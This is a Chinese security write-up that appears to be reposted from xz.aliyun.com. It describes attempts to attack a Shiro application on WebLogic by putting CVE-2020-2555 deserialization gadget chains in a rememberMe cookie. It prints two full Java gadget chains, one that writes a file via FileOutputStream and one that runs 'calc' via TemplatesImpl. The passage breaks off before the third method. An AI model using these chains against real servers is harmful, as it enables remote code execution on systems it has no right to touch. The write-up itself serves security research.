使用 CVE-2020-2555 攻击 Shiro
2021-03-30 19:55:46 Author: xz.aliyun.com(查看原文) 阅读量:211 收藏

前段时间项目上遇到一个部署在 Weblogic 上存在漏洞的 Shiro 应用,于是参照 Y4er 师傅的文章 《使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell》 的文章调出了 payload, 但是很遗憾并没有成功(也许是目标 Weblogic 打了补丁),但是过程还是有些意思,记录一下留作备忘。

本文中所有的代码均可以从这里找到。

在测试目标应用的时候,使用工具跑出了默认Key,从而可以确定目标应用存在 Shiro 漏洞,但是一些常规的链如 CommonsCollectionsK1/K2 CommonsBeanUtils1/2 均未能成功生效,从 Cookie 和其他信息中判断目标应用为 Weblogic。

记得之前本地也做过测试,使用常规的工具并无法成功攻击部署在 Weblogic 上的 Shiro 应用,常规的链在攻击时,Weblogic 均会报错。但是好在记得之前看过 Y4er 师傅的文章,我觉得还有机会“抢救”一下。于是,参考 Y4er 师傅的文章,成功在本地的 Weblogic 环境实现了无回显的命令执行,但是在测试目标应用的时候并未触发 DNSLog请求,好吧,暂且认为目标应用不能出网,毕竟这种情况也屡见不鲜了,那在这种情况下如何实现回显上传shell呢?Y4er师傅使用了 URLClassLoader 的方式,这种方式肯定是可行的,但是如何把目标 jar 包上传至服务器文章中并没有细说,而且我面临的情况有2个小问题

不确定目标系统是 Windows 还是 Linux,不同操作系统在命令写入文件时 Base64 的方式并不一样,需要分别要尝试,较为麻烦
目标应用前端使用了 Apache Tomcat 进行转发,限制了 cookie 大小最大无法超过 8096, 导致在命令执行写入文件时需要使用多个 cookie,这可能会导致在写入文件时出现一些预期之外的 bug

由于这些原因,于是我希望能有一种更好,更通用的方式,于是我开始了尝试。

第一次尝试,失败的 FileOutputStream 尝试

电脑里有个较为古老的 Weblogic 反序列化利用工具,是 Weblogic 早期刚爆出反序列化漏洞时的利用工具,我记得当时它的代码里是首先使用 FileOutputStream 的方式使用写入jar包, 然后通过 URLClassLoader 加载写入的 jar 包进而实现命令执行等功能。

这里如果我可以通过 FileOutputStream 的方式将 jar包写入到目标文件系统,就可以屏蔽不同操作系统带来的不兼容性,于是模仿其中的代码使用 CVE-2020-2555 的方式对此进行了实现,并直接在代码中进行反序列化进行了测试,代码如下所示,结果确实成功写入了 CVE_2020_2555.txt,证明了代码是 OK 的。

byte[] payload = "CVE_2020_2555 works!".getBytes();

        ReflectionExtractor extractor1 = new ReflectionExtractor(
                "getConstructor",
                new Object[]{new Class[]{String.class}}
        );

        ReflectionExtractor extractor2 = new ReflectionExtractor(
                "newInstance",
                new Object[]{new Object[]{"CVE_2020_2555.txt"}}
        );

        ReflectionExtractor extractor3 = new ReflectionExtractor(
                "write",
                new Object[]{payload}
        );

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                extractor1,
                extractor2,
                extractor3
        };

        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
        LimitFilter limitFilter = new LimitFilter();

        //m_comparator
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, chainedExtractor);

        //m_oAnchorTop
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, FileOutputStream.class);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, limitFilter);

        //序列化
        byte[] bytes = Util.serialize(badAttributeValueExpException);

        //反序列化
        Util.deserialize(bytes);

但是在使用此代码生成 rememberMe cookie 攻击本地部署的 Shiro 应用时,却报错了,好吧,这条方式看来走不通

第二次尝试,失败的 TemplatesImpl 尝试

写入文件的尝试失败后,我想能不能直接执行任意代码,如果可以直接执行任意代码的话,就不需要借助 URLClassLoader了,自然就无需在服务器上落地 jar 包,那么如何直接实现任意代码执行呢?回想 ysoserial 的代码,是通过设置 TemplatesImpl_bytecodes 属性,进而通过触发其 newTransformer 方法实现任意代码执行,那么同样的这里可以参考其方式对 CVE-2020-2555 进行改造,代码如下,并直接在代码中进行反序列化测试确保代码是 OK 的。

final Object eveiObject = Gadgets.createTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\");");

        ReflectionExtractor extractor1 = new ReflectionExtractor(
                "getMethod",
                new Object[]{"newTransformer", new Class[0]}
        );

        ReflectionExtractor extractor2 = new ReflectionExtractor(
                "invoke",
                new Object[]{eveiObject , new Object[0]}

        );

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                extractor1,
                extractor2
        };

        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
        LimitFilter limitFilter = new LimitFilter();

        //m_comparator
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, chainedExtractor);

        //m_oAnchorTop
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, TemplatesImpl.class);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, limitFilter);

        //序列化
        byte[] bytes = Util.serialize(badAttributeValueExpException);

        //反序列化
        Util.deserialize(bytes);

但是同样的,在使用此代码生成 rememberMe cookie 攻击本地部署的 Shiro 应用时,也报错了,好吧,这种方式看来也走不通

第三次尝试,成功的 ScriptEngineManager 尝试

二次尝试都失败后,一时半会失去了方向,站起来走了几圈之后,想起来 清水川崎 师傅


文章来源: http://xz.aliyun.com/t/9343
如有侵权请联系:admin#unsafe.sh